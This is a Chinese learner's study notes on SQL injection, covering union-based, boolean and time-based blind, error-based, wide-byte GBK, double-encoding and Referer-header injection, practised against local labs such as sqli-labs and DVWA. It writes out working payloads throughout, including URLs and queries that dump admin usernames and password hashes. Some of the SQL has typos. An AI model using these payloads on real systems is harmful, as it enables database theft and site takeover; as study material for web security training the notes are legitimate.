SQL注入彙總(手注,盲注,報錯注入,寬字節,二次編碼,http頭部){10.2二、23 第二十四 二十五天}

首先什麼是SQL注入:php

  所謂SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。前端

SQL注入有什麼危害?mysql

  危害:數據泄露、脫庫、篡改網站、破壞數據庫、植入後門、getshell(獲取網站權限)面試

爲何會有SQL注入漏洞?sql

  後端代碼在執行的過程將用戶輸入的數據也當作代碼來執行,違背一個原則:代碼和數據相分離(本質問題)shell

  前段傳遞的數據能夠隨意控制,參數可控;後端對前段傳遞過來的數據沒有過濾或者過濾不嚴謹,最終致使SQL注入(注入的緣由)數據庫

 

首先本人如今只學了四五種SQL注入方式,僅做爲學習參看,若有錯誤多多見諒=。=後端

SQL注入本人認爲只要能找到注入點就簡單了,大不了各類方式往上面試嘍,雖然時間成本很大。瀏覽器

因此所只要在有跟數據庫進行交互的地方就有可能出現SQL漏洞,在這些地方找注入點就很重要啦。服務器

 

SQL注入經常使用的數據庫函數及常量

經常使用的數據庫函數以及常量

@@tmpdir       臨時目錄

@@datadir

@@basedir 數據庫所在的位置

@@version 版本

@@hostname    當前數據庫名字

user()

version()    版本

database()    獲取數據庫

concat()

group_concat()

concat_wa()

substr():oracle,mysql,mssq   l/substring():mysql,mssql  /mid():mysql          截取字符串

注意:均有三個參數,第一個是被截取的字符,第二個是開始索引,第三個是截取的長度

left(pa1(截取字符串),pa2(截取的長度))     從左邊開始截取字符串

right(pa1(截取字符串),pa2(截取的長度))    從右邊開始截取字符串

sleep()    讓數據庫休眠的

ord()      顯示字符的ascll

if(條件,條件爲真時的返回值或者語句,條件爲假時的返回值或者語句)

if(1=1,true,false)

case when 條件 then 條件爲真時的返回值或語句 elas 條件爲假時的返回時或語句 end

SELECT 1,CASE WHEN 1=1 THEN "hallo" ELAS "goodbye" END,3;

length()   計算字符串的長度

 

聯合查詢:

SELECT * FROM USERS WHERE id=1 UNION SELECT "a","b","c";

select * from users where user_id=0,1 union select 1,2,union select 1,2,user(),4,5,database(),7;

mysql數據庫中:一庫一表三字段

mysql>5,0

information_schema mysql>5.0以後自帶的,系統庫,彙總(其餘數據庫的庫名、表名、字段名)

columns表中存儲數據(庫名、表名、字段名),須要關注該表下的三個字段

table_schema   字段存儲其餘數據庫的庫名

table_name    字段存儲其餘數據庫的表名

column_name    字段存儲其餘數據庫的字段名

select table_schema,table_name,column_name from information_schema.columns;  //查詢table_schema(庫名)、table_name(表名)、column_name(字段名)對應的數據。

select table_schema,table_name,column_name from information_schema.columns where table_schema="dvwa";      查詢數據庫彙總中dvwa庫下的全部表和字段(16進制執行dvwa也能夠)

 

1、手工注入(就是一頓敲啊敲){共分爲7步,我認爲五步就夠用了}

一、檢測注入點(可能存在SQL注入的地方),找到相似ID(id/uid/typeid/sid/key~~)的參數(Google Hacking:),後面須要輸入一些檢測的惡意代碼:

'

'and 1=1#

'and 1=2--

-1' or '1'='1

~~~~~~~

需不須要單引號,是由後端的拼接的SQL語句決定的,例如:

id='$id'     前端測試:id=1' and 1=1%23

id=$id 前端測試:id=1 and 1=1%23

輸入的惡意payload被成功執行(頁面顯示效果以及報錯信息),說明此處有SQL注入點

接下來還要判斷注入方式:主要根據頁面的回顯效果來決定使用哪一種注入技術

判斷從後臺數據庫中選擇的列數,以及哪幾列在前端顯示?

http://localhost/jdy1.5/typeid.php?typeid=1 order by 5%23

更換數字,根據頁面顯示效果判斷後臺數據庫選擇的列數,5列

union select 1,2,3,4,5%23

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,2,3,4,5%23

根據頁面顯示效果可知在2的位置顯示到前段,便可將2替換爲SQL語句

 

二、收集後臺數據庫信息

查看當前用戶:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,user(),3,4,5%23

查看當前數據庫:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,databases(),3,4,5%23

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23     查看全部的庫

grout_concat   分組並拼接      distinct   去重

 

三、獲取當前數據庫的表名

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=jdycms),3,4,5%23    // jdycms須要轉16進制

 

四、獲取當前數據庫下指定表下字段名

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=jdy_admin ),3,4,5%23

jdy_admin 須要轉16進制

 

五、獲取字段數據

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(username,0x7e,password) from jdy_admin limit 0,1 ),3,4,5%23

limit 0,1  從0行開始顯示第一行    0x7e是~

group_concat  顯示所有        concat顯示選定行

 

六、解密:cmd5 pmd5 等等不少的解密方式

 

七、找後臺登陸:猜、目錄掃描、信息收集

 

2、盲注:(分爲時間盲注和布爾盲注)

盲注:用戶提交的數據在後臺數據庫中執行以後,沒有返回任何數據,沒法在前端顯示測試出的數據,此時須要使用盲注技術、

基於布爾的盲注

基於時間的盲注

 

基於布爾的盲注:

一、探測輸入點    '/    1' and 1=1%23   /    1' and '1'='1%23

注意:用戶移交的數據被帶入到後臺數據庫中執行,根據頁面顯示效果判斷此處是否存在注入點

 

二、收集數據庫信息(當前用戶名、當前數據庫、版本、)

http://localhost/sqli-labs-master/Less-8/index.php?id=10' and length(user())=14%23

用戶長度是14(使用bp依次去爆破)

 

三、

http://localhost/sqli-labs-master/Less-8/index.php?id=10' and ascii(substr(user(),1,1))=114%23

(使用asc碼去依次的判斷字符)用戶首字母是asc馬的114也就是r後續依次去判斷 root@localhost

ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114

先計算某個表的名字的長度,而後在判斷每一個字符

最終找到有價值的表:users

 

四、獲取執行表的字段名

select distinct column_name from information_schema.columns where table name=0x7573657273 and table_schema=database() limit 0,1

字段首字母是i,後續依次去判斷第一個字段名,第二字段名~~~~

最後找出敏感的字段:username   password

 

五、後去指定字段數據

select group_concat(username,0x7e,password) from users limit 0,1

 

六、解密密文數據,登陸後臺

 

基於時間法盲注:

時間的概念:使用特定的函數讓數據庫去執行,在頁面等待必定的時間,來查看當前頁面中注入狀況

函數:sleep()

select * from dvwa.users where user_id=1 and if(database(user())=14,sleep(5),'true');

最終沒有返回值,須要關注的是瀏覽器的響應時間

benchmark(參數1,參數2),蠶食1表示執行多少次,參數2是某項操做,使用函數或者表達式。              select benchmark(1000000,1000*1000);

一、找到注入點

 

二、獲取數據庫信息

當前數據庫的長度:

select * from dvwa.users where user_id=1 and if(database(database())=14,sleep(5),'true');

獲取每一個字符

select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),'true');

 

三、獲取當前數據庫的表

select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() limit 0,1),1,1))=102,sleep(5),'true');

找價值的表,user

 

四、獲取指定表中的字段

select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))=102,sleep(5),'true');

找有意義的字段,username  password

 

五、獲取內容

select * from dvwa.users where user_id=1 and if(ord(mid((select concat(admin,0x7e,password)from dvwa.users limit 0,1)1,1))=102,sleep(5),'true');

 

 

3、報錯注入:(便是根據錯誤回顯進行判斷)

 

基於報錯的注入

報錯的含義:利用一些報錯的函數構造payload,數據庫執行以後會報錯,並將咱們須要的數據帶出來,達到攻擊的目的

 

報錯的函數:

(1)extractvalue(參數1,參數2)  從目標XML中返回查詢到的字符串,參數1是string格式的XML文檔名,參數2是XPATH格式的字符串(須要查詢的)

select extractvalue(1,concat(0x7e,(select user()),0x7e));

 

 

 

(2)updatexml(參數1,參數2,參數3)     改變XML文檔中符合條件的節點的值,參數1是xml文檔,參數2是Xpath格式的字符串,參數3是string格式的替換查找符合條件的數據

select updatexml(1,concat(0x7e,(select user()),0x7e),1);

注意:前二者報錯長多有限制32位

 

(3)floor()函數,必須和conut()計數   rand()產生0-1之間的隨機小數,若是給了參數(種子),那麼會根據該種子產生固定的值    goup by   等函數配合使用(可以達到相同目的的函數均可以替換去使用!)

select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from infomation_schema.tables group by x)a

(select count(*)全部記錄作個統計,concat(user(),floor(rand(0)*2))拼接兩個參數總體做爲x from infomation_schema.tables group by x根據X進行排序)a

經過floor報錯的方法來爆數據的本質是group by語句的報錯。group by語句報錯的緣由是floor(random(0)*2)的不肯定性,便可能爲0也可能爲1(group by key的原理是循環讀取數據的每一行,將結果保存於臨時表中。讀取每一行的key時,若是key存在於臨時表中,則不在臨時表中則更新臨時表中的數據;若是該key不存在於臨時表中,則在臨時表中插入key所在行的數據。group by floor(random(0)*2)出錯的緣由是key是個隨機數,檢測臨時表中key是否存在時計算了一下floor(random(0)*2)可能爲0,若是此時臨時表只有key爲1的行不存在key爲0的行,那麼數據庫要將該條記錄插入臨時表,因爲是隨機數,插時又要計算一下隨機值,此時floor(random(0)*2)結果可能爲1,就會致使插入時衝突而報錯。即檢測時和插入時兩次計算了隨機數的值。

 

4、寬字節注入:(主要是根據轉義特殊字符的注入)

mysql_query("SET NAMES 'gbk'");//設置字符集編碼

mysql_set_charset("GBK");//設置字符集編碼

mysql_real_escape_string()   

對參數進行過濾轉義,具備相似功能的函數有:addslacher()、mysql_escape_string()【php5.3以後就廢除了】、魔術引號(magic_quotes_gpc 模塊),針對特殊符號 '  "  \  null  <   >  等,

 

GBK編碼,針對漢字的一種編碼方式,使用兩個字節編碼一個漢字

1%df'  = 1%df\'   =   1%df%25%27    =1(%df%25)%27  = 1運'

SELECT * FROM news WHERE tid='{$id}'

SELECT * FROM news WHERE tid='{1運'}'  -->會報錯

 

漏洞造成原理:對數據庫執行以後的結果進行gbk編碼,執行過濾你函數會對用戶提交的數據進行過濾=寬字節

測試步驟

一、訪問站點http://localhost/gbksql/01/?id=1'   查看返回結果

二、http://localhost/gbksql/01/?id=1%df' (爲啥使用df?高位在81之後就能用,81~fe) 1%df'---->1%df\'--->1%df5c--->1\運'

三、 http://localhost/gbksql/01/?id=-1%81' union select 1,user(),3%23

 

PDO寬字節防止SQL注入:

PDO:鏈接數據庫--》設置模板--》綁定數據--》執行SQL語句

$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES,false)   防止大部分的SQL注入

https://www.jianshu.com/p/c0deb8061718

 

5、二次編碼注入:

瀏覽器會對from表單中的數據進行一次URL編碼,到達服務器以後會默認解碼

PHP中URL解碼函數有: urldecode()   rawurldecode()

 

6、HTTP頭部SQL注入:(基於HTTP響應包的一種注入方式)

 

步驟1:數據庫名security

Referer: ' or updatexml(1,concat('#',(database())),0),'')#

步驟2:表名users

Referer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#

步驟3:字段名id、username、password

Referer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#

步驟4:數據

Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#

相關文章
相關標籤/搜索